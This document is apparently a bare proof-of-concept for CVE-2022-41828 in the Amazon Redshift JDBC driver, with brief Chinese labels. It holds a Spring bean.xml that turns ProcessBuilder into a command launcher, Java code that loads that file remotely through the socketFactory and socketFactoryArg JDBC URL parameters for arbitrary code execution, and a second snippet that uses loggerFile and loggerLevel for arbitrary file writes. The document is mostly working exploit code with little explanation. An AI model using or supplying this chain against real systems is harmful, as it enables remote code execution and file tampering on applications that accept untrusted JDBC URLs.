<!-- https://mvnrepository.com/artifact/com.amazon.redshift/redshift-jdbc42 --><dependency>    <groupId>com.amazon.redshift</groupId>    <artifactId>redshift-jdbc42</artifactId>    <version>2.1.0.7</version></dependency>    <!-- https://mvnrepository.com/artifact/org.springframework/spring-context-support -->    <dependency>        <groupId>org.springframework</groupId>        <artifactId>spring-context-support</artifactId>        <version>5.3.23</version>    </dependency>

bean.xml

<beans xmlns="http://www.springframework.org/schema/beans"       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"       xmlns:p="http://www.springframework.org/schema/p"       xsi:schemaLocation="http://www.springframework.org/schema/beans        http://www.springframework.org/schema/beans/spring-beans.xsd"><!--    普通方式创建类-->   <bean id="exec" class="java.lang.ProcessBuilder" init-method="start">        <constructor-arg>          <list>            <value>bash</value>            <value>-c</value>            <value>calc.exe</value>          </list>        </constructor-arg>    </bean></beans>

import java.sql.Connection;import java.sql.DriverManager;import java.sql.SQLException;
public class CVE202241828 {    public static void main(String[] args) throws SQLException {        String socketFactoryClass = "org.springframework.context.support.ClassPathXmlApplicationContext";        String socketFactoryArg = "http://127.0.0.1:8080/bean.xml";        String jdbcUrl = "jdbc:redshift://127.0.0.1:5432/test?socketFactory="+socketFactoryClass+"&socketFactoryArg="+socketFactoryArg;        Connection connection = DriverManager.getConnection(jdbcUrl);    }}

任意代码执行 socketFactory/socketFactoryArg

任意文件写入 loggerLevel/loggerFile

import java.sql.Connection;import java.sql.DriverManager;import java.sql.SQLException;
public class CVE202241828 {    public static void main(String[] args) throws SQLException {        String loggerLevel = "debug";        String shellContent="test";        String loggerFile= "test\\test.txt";        String jdbcUrl =                "jdbc:redshift://127.0.0.1:5432/test?loggerFile="+loggerFile+"&loggerLevel="+loggerLevel+"&"+shellContent;        Connection connection = DriverManager.getConnection(jdbcUrl);    }}